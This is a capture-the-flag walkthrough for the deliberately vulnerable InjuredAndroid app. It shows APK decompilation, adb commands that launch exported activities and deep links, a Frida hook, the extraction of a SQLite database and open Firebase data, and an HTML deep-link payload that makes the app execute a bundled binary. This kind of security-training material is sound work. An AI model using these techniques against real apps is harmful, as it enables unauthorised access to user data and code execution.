Solution
Get the app here.
First decompile the apk file using jadx-gui. Inside decompile all the classes under tools. Keep the AndroidManifest.xml file under Resources always open as it contains the activities that executes and is created.
Solution
First decompile the apk file using jadx-gui. Inside decompile all the classes under tools. Keep the AndroidManifest.xml file under Resources always open as it contains the activities that executes and is created.
Challenge 1
Inside AndroidManifest.xml search for FlagOneLoginActivity
as it is the activity that will be launched when you open the challenge.
Double click on that activity name and it will take you to the java code of FlagOneLoginActivity
You can observe this part where the hints have been written, which you can see on pressing the emergency looking button in the app.
Now we check the submitFlag
function
public final void submitFlag(View view) {
EditText editText = (EditText) findViewById(R.id.editText2);
d.s.d.g.d(editText, "editText2");
if (d.s.d.g.a(editText.getText().toString(), "F1ag_0n3")) // Here is the flag
{
Intent intent = new Intent(this, FlagOneSuccess.class);
new FlagsOverview().J(true);
new j().b(this, "flagOneButtonColor", true);
startActivity(intent);
}
From the hints it can be clearly made out that the flag is right infront of us. And we can clearly see the flag.
Flag:- F1ag_0n3
Challenge 2
Exported Activities are activities that can be launched from outside of an app.
By looking at the code of FlagTwoActivity
nothing is found there. So how do we proceed?? In the hints they asked to find for keywords ‘exported
and activity
. So we will go to AndroidManifest.xml
and find the required activity.
On searching we find a line that looks interesting:
<activity android:name="b3nac.injuredandroid.b25lActivity" android:exported="true"/>
Here the activity name is b3nac.injuredandroid.b25lActivity
.
Now to run this activity we will make use of adb
The command has a syntax: adb shell am start -n <package_name>/<activity_name>
The package name can be easily got from the 1st line in AndroidManifest.xml
.
Hence run this command on your terminal: adb shell am start -n b3nac.injuredandroid/b3nac.injuredandroid.b25lActivity
It will give an output on the terminal as: Starting: Intent { cmp=b3nac.injuredandroid/.b25lActivity }
Now on checking the injuredandroid app we find the flag on the screen. Hence an activity was launched from outside the app.
Flag: S3c0nd_F1ag
Challenge 3
In the submitFlag
file for this challenge, we see that our input is being compared with some value.
public final void submitFlag(View view) {
EditText editText = (EditText) findViewById(R.id.editText2);
d.s.d.g.d(editText, "editText2");
if (d.s.d.g.a(editText.getText().toString(), getString(R.string.cmVzb3VyY2VzX3lv))) // Here
{
Intent intent = new Intent(this, FlagOneSuccess.class);
new FlagsOverview().L(true);
new j().b(this, "flagThreeButtonColor", true);
startActivity(intent);
}
}
Now when we double click and go to the mentioned file and check the value, it shows an integer value in hexadecimal format.
public static final int cmVzb3VyY2VzX3lv = 0x7f0f002f;
Doesn’t really look like a flag.
So now what?? There is another folder named resources.arsc
. Under that go to res/values/strings.xml
. Here we search for the same variable and we get the flag.
<string name="cmVzb3VyY2VzX3lv">F1ag_thr33</string>
Flag: F1ag_thr33
strings.xml
is a very lucrative place to look for vulnerabilities. Usernames and passwords might just be there in poorly secure apps.
Challenge 4
As usual we 1st look into the Activity file for this challenge.
In the submitFlag
function we see that a2
array is getting its data from some external function of another class.
public final void submitFlag(View view) {
EditText editText = (EditText) findViewById(R.id.editText2);
d.s.d.g.d(editText, "editText2");
String obj = editText.getText().toString();
byte[] a2 = new g().a(); // Here
d.s.d.g.d(a2, "decoder.getData()");
if (d.s.d.g.a(obj, new String(a2, d.w.c.f2418a))) {
Intent intent = new Intent(this, FlagOneSuccess.class);
new FlagsOverview().I(true);
new j().b(this, "flagFourButtonColor", true);
startActivity(intent);
}
}
We go to the location by double clicking on it.
package b3nac.injuredandroid;
import android.util.Base64;
/* loaded from: classes.dex */
public class g {
/* renamed from: a reason: collision with root package name */
private byte[] f1468a = Base64.decode("NF9vdmVyZG9uZV9vbWVsZXRz", 0);
public byte[] a() {
return this.f1468a;
}
}
It is clearly seen that Base64.decode("NF9vdmVyZG9uZV9vbWVsZXRz")
is returned to a2
array. Use an online decoder for the given string and we get the flag.
Flag: 4_overdone_omelets
Challenge 5
In the onCreate
function we see that FlagFiveReceiver
class is called.
new ComponentName(this, FlagFiveReceiver.class);
So we go to the following class and see the code there.
package b3nac.injuredandroid;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;
/* loaded from: classes.dex */
public final class FlagFiveReceiver extends BroadcastReceiver {
/* renamed from: a reason: collision with root package name */
private static int f1454a;
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String str;
int i;
String e;
String e2;
d.s.d.g.e(context, "context");
d.s.d.g.e(intent, "intent");
j.j.a(context);
int i2 = f1454a;
if (i2 == 0) {
StringBuilder sb = new StringBuilder();
e = d.w.h.e("\n Action: " + intent.getAction() + "\n\n ");
sb.append(e);
e2 = d.w.h.e("\n URI: " + intent.toUri(1) + "\n\n ");
sb.append(e2);
str = sb.toString();
d.s.d.g.d(str, "sb.toString()");
Log.d("DUDE!:", str);
} else {
str = "Keep trying!";
if (i2 != 1) {
if (i2 != 2) {
Toast.makeText(context, "Keep trying!", 1).show();
return;
}
new FlagsOverview().H(true);
new j().b(context, "flagFiveButtonColor", true);
Toast.makeText(context, "You are a winner " + k.a("Zkdlt0WwtLQ="), 1).show();
i = 0;
f1454a = i;
}
}
Toast.makeText(context, str, 1).show();
i = f1454a + 1;
f1454a = i;
}
}
On analyzing this code it can be concluded that by clicking on the challenge 3 times, the decoded flag will be displayed on the screen. Flag: {F1v3!}
Challenge 6
We first check the submitFlag
function in the FlagSixLoginActivity
public final void submitFlag(View view) {
EditText editText = (EditText) findViewById(R.id.editText3);
d.s.d.g.d(editText, "editText3");
if (d.s.d.g.a(editText.getText().toString(), k.a("k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ=="))) {
Intent intent = new Intent(this, FlagOneSuccess.class);
FlagsOverview.G = true;
new j().b(this, "flagSixButtonColor", true);
startActivity(intent);
}
}
We see that k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ==
is being passes to function a
of class k
.
We can click and see what the function does
public static String a(String str) {
if (c(str)) {
try {
SecretKey generateSecret = SecretKeyFactory.getInstance("DES").generateSecret(new DESKeySpec(f1472a));
byte[] decode = Base64.decode(str, 0);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, generateSecret);
return new String(cipher.doFinal(decode));
} catch (InvalidKeyException | NoSuchAlgorithmException | InvalidKeySpecException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) {
e.printStackTrace();
}
} else {
System.out.println("Not a string!");
}
return str;
}
It takes a value from some other java file and does some decryption on the string provided.
Now you can write a custom java program to pass the string to this function and output the value. But this can be done if the function is this small and simple. A better way to do this to write a frida script
for this.
You can see the full js script in lvl_6.js
Java.perform(function(){
let a=Java.use("b3nac.injuredandroid.k"); // Class name k inside the package
var flag=a.a("k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ=="); //Calling the function a inside the class represented by a and storing and printing the flag
console.log(flag);
})
First we are storing the class name inside package b3nac.injuredandroid.k
and referring it to as a
. Then we call the function a
inside the class and pass the encoded string k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ==
and store the result in flag
and print the flag
.
Running the Frida script Firstly, run the Frida-server
. If you don’t know how to run it check out Frida setup Now open another terminal and go to the directory where you have the js file
and type the following command:
frida -U -f b3nac.injuredandroid -l lvl_6.js
b3nac.injuredandroid
is the package name and lvl_6.js
is the js script
We get the output something like this
We get out flag. Flag: {This_Isn't_Where_I_Parked_My_Car}
Challenge 7
We see the onCreate
and onDestroy
functions.
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_flag_seven_sqlite);
C((Toolbar) findViewById(R.id.toolbar));
j.j.a(this);
H();
((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a());
SQLiteDatabase writableDatabase = this.x.getWritableDatabase();
ContentValues contentValues = new ContentValues();
contentValues.put("title", Base64.decode("VGhlIGZsYWcgaGFzaCE=", 0));
contentValues.put("subtitle", Base64.decode("MmFiOTYzOTBjN2RiZTM0MzlkZTc0ZDBjOWIwYjE3Njc=", 0));
writableDatabase.insert("Thisisatest", null, contentValues);
contentValues.put("title", Base64.decode("VGhlIGZsYWcgaXMgYWxzbyBhIHBhc3N3b3JkIQ==", 0));
contentValues.put("subtitle", h.c());
writableDatabase.insert("Thisisatest", null, contentValues);
}
@Override // androidx.appcompat.app.c, androidx.fragment.app.d, android.app.Activity
public void onDestroy() {
this.x.close();
deleteDatabase("Thisisatest.db");
l lVar = this.H;
if (lVar != null) {
com.google.firebase.database.d dVar = this.F;
d.s.d.g.c(lVar);
dVar.f(lVar);
}
l lVar2 = this.I;
if (lVar2 != null) {
com.google.firebase.database.d dVar2 = this.G;
d.s.d.g.c(lVar2);
dVar2.f(lVar2);
}
super.onDestroy();
}
On analyzing we see that in onCreate
a database is being created and some values are pushed to a database.
In the onDestroy
function, we see that a database named Thisisatest.db
is getting deleted.
Now you can decode the data written in the database or access the contents of the database. To achieve that you need to access the database of the app while the level 7 activity is loaded. Also you need to do it in root mode.
Write the following commands to see the data in the Thisisatest.db
database.
adb shell
cd data/data/b3nac.injuredandroid/
cd databases
At this point if you ls
, you will see the Thisisatest.db
database. To access that you need to write the following commands.
sqlite3 Thisisatest.db
//Now you will be in the sqlite command line. Now type
.tables // It shows what tables are there in the database
select * from Thisisatest; // It will show the data in the table
The data which will appear is
1|The flag hash!|2ab96390c7dbe3439de74d0c9b0b1767
2|The flag is also a password!|9EEADi^^:?;FC652?5C@:5]7:C632D6:@]4@>^DB=:E6];D@?
Now use an online hash cracker to get the password. The flag hash: hunter2
The second one is a ROT 47 cipher(I understood it as it wasn’t any hash and not even a normal cipher as it involved special characters. Hence ROT 47). Use an online tool to decipher that and it gives us a link: https://injuredandroid.firebaseio.com/sqlite.json There you will see the flag: S3V3N_11
Put these two and click submit
.
Challenge 8
Apparently there was supposed to be an AWS bucket
information in strings, but it isn’t there in the app I took from github. So yea…
Challenge 9
Looking at the code it is understood that we have to check the FlagNineFirebaseActivity
function.
public FlagNineFirebaseActivity() {
byte[] decode = Base64.decode("ZmxhZ3Mv", 0);
this.y = decode;
d.s.d.g.d(decode, "decodedDirectory");
Charset charset = StandardCharsets.UTF_8;
d.s.d.g.d(charset, "StandardCharsets.UTF_8");
this.z = new String(decode, charset);
com.google.firebase.database.f b2 = com.google.firebase.database.f.b();
d.s.d.g.d(b2, "FirebaseDatabase.getInstance()");
com.google.firebase.database.d d2 = b2.d();
d.s.d.g.d(d2, "FirebaseDatabase.getInstance().reference");
this.A = d2;
com.google.firebase.database.d h = d2.h(this.z);
d.s.d.g.d(h, "database.child(refDirectory)");
this.B = h;
}
ZmxhZ3Mv
decodes to flags/
. In atrings.xml
we find the firebase url <string name="firebase_database_url">https://injuredandroid.firebaseio.com</string>
.
Combining both we have https://injuredandroid.firebaseio.com/flags
But on directly giving this on the web-browser, we will get an error. We put .json
beside flags to read the data in the bucket.
https://injuredandroid.firebaseio.com/flags.json
Flag :- [nine!_flag]
Challenge 10
Similarly to the previous challenge we try to access the database using the link https://injuredandroid.firebaseio.com/unicode.json
but this time we get permission denied
.
On looking into the challenge carefully we understand that we have to do a unicode collision. I did a bit of research and landed on https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n
It speaks about the dotless i
.
So I just tried to enter the same email, and it says Not authenticated
.
Somehow need to do some authentication. Lets go to navigation and search for the word authentication
.
The selected part looks the most sus.
On looking through the code, it looks like this activity can be started from outside the app(i.e:- android:exported="true"
)
Lets look into AndroidManifest.xml
.
Viola, it is indeed exported.
We can start this activity by the command :-
adb shell am start -n b3nac.injuredandroid/b3nac.injuredandroid.QXV0aA
am
: Activity Manager
adb shell am start -n <package_name>/<activity_class>
: The format for starting an activity.
On starting the activity, a login button comes up in the apk, pressing which shows a toast stating that Authentication Succeeded
After this I again try the email as John@Gıthub.com
and congratz, we got the flag.
Flag :- John@Gıthub.com
P.S : It is lucky that the classic email worked. To see what email was getting compared, one could write a frida script to dynamically hook into the compare function and see the arguments.
Challenge 11
So in this challenge we do not have a flag11activity
type of class. So then I checked the AndroidManifest.xml
and this is a deeplinks
challenge. So before we go into the challenge, wat are deeplinks?
A deep link is a type of hyperlink that directs users to a specific section or content within a mobile application, rather than just launching the app’s home screen. It allows for seamless navigation to particular activities or fragments inside an app.
Why is it Used?
Enhanced User Experience: Directs users to specific content, reducing navigation time.
Marketing Campaigns: Links from emails, ads, or websites can open exact app sections.
Cross-App Navigation: Enables one app to link directly to content within another app.
Re-engagement: Brings users back to the app with contextual content.
Structure of Deep Links in Android
Deep links in Android are primarily defined using URIs (Uniform Resource Identifiers). They are configured in the app’s AndroidManifest.xml
file using <intent-filter>
.
URI Structure:
A typical deep link URI looks like this:
myapp://section/item?id=123
Scheme:
myapp
- Identifies the app.Host & Path:
section/item
- Specifies the section and item to open.Query Parameters:
id=123
- Provides additional data to the app.
Defining a Deep Link in AndroidManifest.xml
:
<activity android:name=".TargetActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="myapp"
android:host="section"
android:path="/item" />
</intent-filter>
</activity>
We find a similar section our app manifest.
<activity
android:label="@string/title_activity_deep_link"
android:name="b3nac.injuredandroid.DeepLinkActivity">
<intent-filter android:label="filter_view_flag11">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="flag11"/>
</intent-filter>
<intent-filter android:label="filter_view_flag11">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"/>
</intent-filter>
</activity>
Based on the code we can see that the uri
is flag11
. So if we launch the uri, we can get into the activity for challenge 11 which is b3nac.injuredandroid.DeepLinkActivity
.
We will do this with adb. The command is :- adb shell am start -W -a android.intent.action.VIEW -d "flag11://" b3nac.injuredandroid
Explanation of Arguments:
adb shell
: Opens a command shell on the connected Android device or emulator.am start
: Uses the Activity Manager (am) to start a new activity.-W
: Waits for the launch to complete before returning.-a android.intent.action.VIEW
: Specifies the intent action to be performed, which in this case is to “view” the content.-d "flag11://"
: Defines the data URI, which acts as the deep link to trigger a specific section within the app.b3nac.injuredandroid
: The package name of the target application.
After we launch this command the hidden activity pops up on our app.
Now that we have the place to enter our flag we check the activity b3nac.injuredandroid.DeepLinkActivity
.
On looking through the code, it is just the same as the firebase challenge. The sub-path getting used in this case is /binary
. So we go to the link https://injuredandroid.firebaseio.com/binary.json
and we have our flag there.
Flag :- HIIMASTRING
Challenge 12
In this challenge I was unaware of the topic Protected activity
, so I decided to read upon it before trying anything. I looked into this blog by oversecured
. https://blog.oversecured.com/Android-Access-to-app-protected-components/.
After reading this I got an idea and figured out the solution as well. Lets go at it step-by-step.
Looking into the Manifest
file we see that the FlagTwelveProtectedActivity
is not exported. Then we look at the code of the activity and we see that the activity is actually expecting an intent, which will be having an extra string totally_secure
.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
WebView webView = new WebView(this);
setContentView(webView);
j.j.a(this);
C((Toolbar) findViewById(R.id.toolbar));
Uri parse = Uri.parse(getIntent().getStringExtra("totally_secure"));
WebSettings settings = webView.getSettings();
d.s.d.g.d(settings, "flagWebView.settings");
settings.setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
if (getIntent() == null || !getIntent().hasExtra("totally_secure")) {
finish();
return;
}
d.s.d.g.d(parse, "uri");
if (!d.s.d.g.a("https", parse.getScheme())) {
webView.loadData(getIntent().getStringExtra("totally_secure"), "text/html", "UTF-8");
return;
}
FlagsOverview.K = true;
j jVar = new j();
Context applicationContext = getApplicationContext();
d.s.d.g.d(applicationContext, "applicationContext");
jVar.b(applicationContext, "flagTwelveButtonColor", true);
F();
}
Now the content of the extra-string if it is not a https
link, it will jut treat it as http
and just display the content as a web-view. So it can be exploited by sending an intent with the extra string totally_secure
and any https
link. The following adb command can be used for the task:-
adb shell am start -n b3nac.injuredandroid/.FlagTwelveProtectedActivity --es totally_secure "https://www.google.com"
And the flag screen will come before you.
Challenge 13
This challenge was a bit tricky but not that hard. When we open the challenge tab we just see an screen. Coming to jadx, we check the manifest
file.
<activity
android:theme="@style/AppTheme.NoActionBar"
android:label="@string/title_activity_rce"
android:name="b3nac.injuredandroid.RCEActivity">
<intent-filter android:label="filter_view_flag11">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="flag13"
android:host="rce"/>
</intent-filter>
</activity>
From this xml we can see that we can sent intent has a scheme : flag13
and a hostname : rce
. Next we go check the RCEActivity
.
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_rce);
j.j.a(this);
C((Toolbar) findViewById(R.id.toolbar));
G();
((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a());
if (getIntent() != null) {
Intent intent = getIntent();
d.s.d.g.d(intent, "intent");
if (intent.getData() != null) {
H();
Intent intent2 = getIntent();
d.s.d.g.d(intent2, "intent");
Uri data = intent2.getData();
try {
d.s.d.g.c(data);
String queryParameter = data.getQueryParameter("binary");
String queryParameter2 = data.getQueryParameter("param");
String queryParameter3 = data.getQueryParameter("combined");
if (queryParameter3 != null) {
this.x.b(new b(queryParameter3));
} else {
Runtime runtime = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
File filesDir = getFilesDir();
d.s.d.g.d(filesDir, "filesDir");
sb.append(filesDir.getParent());
sb.append("/files/");
sb.append(queryParameter);
sb.append(" ");
sb.append(queryParameter2);
Process exec = runtime.exec(sb.toString());
d.s.d.g.d(exec, "process");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuilder sb2 = new StringBuilder();
d.r.c.a(bufferedReader, new c(sb2));
exec.waitFor();
TextView textView = (TextView) findViewById(R.id.RCEView);
d.s.d.g.d(textView, "tv");
textView.setText(sb2.toString());
}
} catch (IOException e) {
Log.e("RCEActivity", "OH NO AN ERROR OCCURED!!!:" + e.getMessage());
}
}
}
}
Upon reading this code we understand that we can pass parameters through our deeplinks:- binary
, param
, combined
.
There is an interesting function in this activity. It is H()
.
try {
strArr = assets.list("");
} catch (IOException e) {
Log.e("tag", "Failed to get asset file list.", e);
strArr = null;
}
if (strArr != null) {
for (String str : strArr) {
if ((!d.s.d.g.a(str, "webkit")) && (!d.s.d.g.a(str, "images")) && (!d.s.d.g.a(str, "flutter_assets")) && (!d.s.d.g.a(str, "locales"))) {
try {
inputStream = assets.open(str);
try {
StringBuilder sb2 = new StringBuilder();
File filesDir = getFilesDir();
d.s.d.g.d(filesDir, "filesDir");
sb2.append(filesDir.getParent());
sb2.append("/files/");
fileOutputStream = new FileOutputStream(new File(sb2.toString(), str));
Analyzing it we understand that it is copying some files which satisfies the condition in the if
. In the onCreate
activity also we see that the binary
parameter with param
is executed by the app. And if combined
is passed as query, the value is checked with the server value. Now what might be the server value? Well lets not worry about that. First lets check the binary
to figure out what input is it expecting. By the way narnia.x84_64
is the binary which is the challenge binary, plus I am on x84_64 architecture so yeah.
We get the binary using apktool
and then analyze it using any decompiler
. I used IDA Pro.
In main.main
we see this:-
We can clearly see that we can type --help
. Lets do that and the output is:-
./narnia.x86_64 --help
Available commands are testOne, rick, testTwo, potato, testThree
Well then we just use the inputs and see the outputs. Only testOne
, testTwo
, and testThree
are the inputs we need the outputs we get are Treasure
, _
, and Planet
respectively.
We will act according to the hint
and concat it to get Treasure_Planet
.
The exploit
We will write a html
code to send the intent
to the app on the device.
<html>
<p><a href="flag13://rce?binary=narnia.x86_64¶m=testOne">Test one!</p>
<p><a href="flag13://rce?binary=narnia.x86_64¶m=testTwo">Test two!</p>
<p><a href="flag13://rce?binary=narnia.x86_64¶m=testThree">Test three!</p>
<p><a href="flag13://rce?combined=Treasure_Planet">aaaa</p>
</html>
We will push this file to our device using the command
adb push .\lvl_13.html /sdcard/Download
Now just run the html
on the device and click on the links one by one. We can directly click the last one as we already have the flag but it is a proof of concept that we can make the app execute a binary.
Flag :- Treasure_Planet
Challenge 15
This challenge clearly tells us that we have to deal with assembly. Classic Reverse engineering. On opening this challenge level, we see an array of bytes. [58, 42, 40]
. What does it do? Lets check the AssemblyActivity
code on jadx
.
In this particular class, the execution will start as follows:-
- The loading of the native library. This happens as that statement is within
static
. In javastatic
belongs to the class and is always initialized first.
static {
System.loadLibrary("native-lib");
}
- The constructor execution
public AssemblyActivity() {
com.google.firebase.database.f b2 = com.google.firebase.database.f.b();
d.s.d.g.d(b2, "FirebaseDatabase.getInstance()");
com.google.firebase.database.d d2 = b2.d();
d.s.d.g.d(d2, "FirebaseDatabase.getInstance().reference");
this.x = d2;
com.google.firebase.database.d h = d2.h("/assembly");
d.s.d.g.d(h, "database.child(\"/assembly\")");
this.y = h;
this.z = stringFromJNI();
}
Constructors in java are methods which have same name as the class-name. They are used for initialization purposes. Here we can see that some value is retrieved from the remote database and the function stringFromJNI
is called. This function is present in our native library libnative-lib.so
.
These are highly optimized compiled binary code files, which are used to perform certain operations. Java functions are used in c/c++ using the Java Native Interface (JNI)
. The native codes are used to perform certain time-crucial operations and provide in-built security by obfuscating and optimizing the binary. Its a very brief overview about native libraries. For more information read here https://developer.android.com/guide/topics/manifest/uses-native-library-element and the official documentation for implementation purposes :- https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/jniTOC.html
The native libraries in an apk are present in the lib
folder and have binaries for various folders. I will use the x86_64
one. Most of us start assembly with it.
Lets put it in ghidra
or ida
and find the required function.
JNI functions which are used in the application side have a special naming style. It always starts with Java_<Package_name>
Here there are no dots. Dots are replaced with _
.
The actual syntax:- Java_<PackageName>_<ClassName>_<MethodName>(JNIEnv* env, jobject obj, ...)
. For more information refer the docs.
Our decompiled native code:-
undefined8 Java_b3nac_injuredandroid_AssemblyActivity_stringFromJNI(long *param_1)
{
undefined8 uVar1;
ulong uVar2;
ulong uVar3;
undefined *puVar4;
uint uVar5;
undefined *puVar6;
long in_FS_OFFSET;
bool bVar7;
basic_string<> local_38;
undefined local_37 [7];
ulong local_30;
undefined *local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
std::__ndk1::basic_string<>::basic_string<>(&local_38,"win");
bVar7 = ((byte)local_38 & 1) == 0;
if (bVar7) {
if ((byte)local_38 >> 1 == 0) goto LAB_0010ed38;
}
else if (local_30 == 0) goto LAB_0010ed38;
uVar5 = 0;
uVar2 = 0;
do {
puVar6 = local_28;
if (bVar7) {
puVar6 = local_37;
}
puVar4 = local_28;
if (bVar7) {
puVar4 = local_37;
}
puVar4[uVar2] = (&DAT_0012c1d8)[uVar5 % 5] ^ puVar6[uVar2];
uVar2 = uVar2 + 1;
bVar7 = ((byte)local_38 & 1) == 0;
uVar3 = local_30;
if (bVar7) {
uVar3 = (ulong)((byte)local_38 >> 1);
}
uVar5 = uVar5 + 1;
} while (uVar2 < uVar3);
LAB_0010ed38:
puVar6 = local_28;
if (bVar7) {
puVar6 = local_37;
}
/* try { // try from 0010ed4b to 0010ed56 has its CatchHandler @ 0010ed8c */
uVar1 = (**(code **)(*param_1 + 0x538))(param_1,puVar6);
if (((byte)local_38 & 1) != 0) {
operator.delete(local_28);
}
if (*(long *)(in_FS_OFFSET + 0x28) != local_20) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar1;
}
We see that a string having the value win
is getting created and then each letter is being xored
with a particular key value in DAT_0012c1d8
. We double click on it to see the values present. I am using ghidra
. Other decompilers may show in a different way. I cleaned the exact copy a bit.
Address Value ASCII
0012C1D8 4D ‘M’
0012C1D9 41 ‘A’
0012C1DA 44 ‘D’
0012C1DB 00 (NULL)
0012C1DC 00 (NULL)
So the key is [0x4d, 0x41, 0x44]
. The xored result is [58 40 42]
. Now isn’t that interesting.
for i,j in zip([0x4d,0x41,0x44], [ord(i) for i in "win"]):
print((i^j), end=" ")
So the initial array was clearly the encrypted flag. Thus the flag is win
. We can check it in the app.
Flag :- win
Challenge 16
Note :- This challenge is broken(the last part) but I will still write the intended way to get the flag
This challenge is related to CSP bypass. Now what is CSP? full-form:- Content-security Policy. It is basically like a series of instructions that a website tells a browser. It basically tells the browser to place certain restrictions on what the code on the site can do. Read more about CSP here.
In CSPBypassActivity.class
we see that it is taking an intent and checking if the link sent via the intent is http
or https
. If it is https
, it just blocks the intent, and if it is http
, it calls the function L
(as shown in the decompilation in jadx).
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_c_s_p_bypass);
EditText editText = (EditText) findViewById(R.id.editText10);
Button button = (Button) findViewById(R.id.button42);
d.s.d.g.d(editText, "editText");
editText.setVisibility(4);
d.s.d.g.d(button, "button");
button.setVisibility(4);
j.j.a(this);
H();
C((Toolbar) findViewById(R.id.toolbar));
((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a(this));
Intent intent = getIntent();
d.s.d.g.d(intent, "intentToUri");
Uri data = intent.getData();
String str = null;
if (data == null) goto L5;
String str2 = data.getScheme();
L7:
if (d.s.d.g.a("http", str2) == true) goto L15;
if (data == null) goto L10;
String str3 = data.getScheme();
L12:
if (d.s.d.g.a("https", str3) == true) goto L15;
boolean z = false;
L16:
if (z == false) goto L33;
if (data == null) goto L19;
String str4 = data.getScheme();
L21:
if (d.s.d.g.a(str4, "http") == false) goto L23;
L();
private final void L() {
StringBuilder sb = new StringBuilder();
sb.append("https://");
Intent intent = getIntent();
d.s.d.g.d(intent, "intent");
Uri data = intent.getData();
sb.append(data != null ? data.getHost() : null);
Intent intent2 = getIntent();
d.s.d.g.d(intent2, "intent");
Uri data2 = intent2.getData();
sb.append(data2 != null ? data2.getPath() : null);
String sb2 = sb.toString();
Intent intent3 = new Intent("android.intent.action.VIEW");
intent3.setData(Uri.parse(sb2));
M();
startActivity(intent3);
}
private final void M() {
EditText editText = (EditText) findViewById(R.id.editText10);
Button button = (Button) findViewById(R.id.button42);
d.s.d.g.d(editText, "editText");
editText.setVisibility(0);
d.s.d.g.d(button, "button");
button.setVisibility(0);
m.a(this).a(new b.a.a.v.l(0, k.a(k.b("kOC6ZrdMXEnfIKWihcBNLTWIhDiINUfSQyYrFsTpEBGZy1KmfPMTwtba8CXa/WVAVoJ1ACvJMd8f/MF97/7UaeNCQvC9OD4lZ/vQN6LmpBU=")), new b(), new c()));
}
In function L
, we see that its converting the link we gave to a https
link and then calling function M
which is decoding some data and then sending a request to the link got after decoding. You can go to the decode function by double clicking on k.b
.
So now we know that we need to send an intent with a http
link. Lets go to manifest and check if any specific hostname
is specified.
<activity
android:theme="@style/AppTheme.NoActionBar"
android:label="@string/title_activity_c_s_p_bypass"
android:name="b3nac.injuredandroid.CSPBypassActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="http"
android:host="b3nac.com"
android:pathPattern="/.*/"/>
<data
android:scheme="https"
android:host="b3nac.com"
android:pathPattern="/.*/"/>
</intent-filter>
</activity>
We can see that its expecting the hostname :- b3nac.com
.
So we need to send an intent and analyze the traffic at the same time. To analyze the traffic, I am using Burpsuite. To set it up watch this: - https://youtu.be/sRldKfYMKYs?si=sii__qS3REQRC5JP
Intent to be sent :- adb shell am start -a android.intent.action.VIEW -d "http://b3nac.com/aaaa/"
After the hostname we can give anything. Now here after the challenge is broken from what I understood after trying for hours to figure out if I was doing something wrong.
The responses don’t have the flag. Leveraging the power of AI, I got the equivalent decode logic for the crypto part as I was too lazy to find out the python syntax and write the decrypt code for DES cipher.
from base64 import b64decode
from Crypto.Cipher import DES
key = b"{Captur3Th1sToo}"[:8]
ciphertext = b64decode("kOC6ZrdMXEnfIKWihcBNLTWIhDiINUfSQyYrFsTpEBGZy1KmfPMTwtba8CXa/WVAVoJ1ACvJMd8f/MF97/7UaeNCQvC9OD4lZ/vQN6LmpBU=")
cipher = DES.new(key, DES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
pad_len = plaintext[-1]
if all(p == pad_len for p in plaintext[-pad_len:]):
plaintext = plaintext[:-pad_len]
print(plaintext.decode("utf-8"))
key = b"Captur3Th1s"[:8]
ciphertext = b64decode("+D8wTKFawdpzDeaQweqRF9JrNCJIBc9xR+mQXdIwIj+jYtTA3uVc+g8K68YFw7QMFCc8sbDwXL8=")
cipher = DES.new(key, DES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
pad_len = plaintext[-1]
if all(p == pad_len for p in plaintext[-pad_len:]):
plaintext = plaintext[:-pad_len]
print(plaintext.decode("utf-8"))
https://b3nac.com/contentsecuritypolicyflag.html
is the link which is getting decoded and then the request is sent to it, but we don’t see anything like this in the burpsuite capture.
Funny enough, if I go to http://b3nac.com/contentsecuritypolicyflag.html
(notice http)
, the same response comes up which came on burpsuite for the intent sent, i,e:-
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx
Date: Mon, 17 Mar 2025 12:20:25 GMT
Content-Length: 312
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<script language="javascript" type="text/javascript" src="/common.js"></script>
<script language="javascript" type="text/javascript" src="/tj.js"></script>
</body>
</html>
After this, I went and checked the author’s guide to how to solve the challenge. You can find it here :- https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid-FlagWalkthroughs.md
He is also doing something similar, but he is writing a html code and sending it to the device and sending the intent via it.
<html>
<a href="https://b3nac.com/anything/">Should get blocked</a>
<a href="http://b3nac.com/anything/">CSP Bypass</a>
</html>
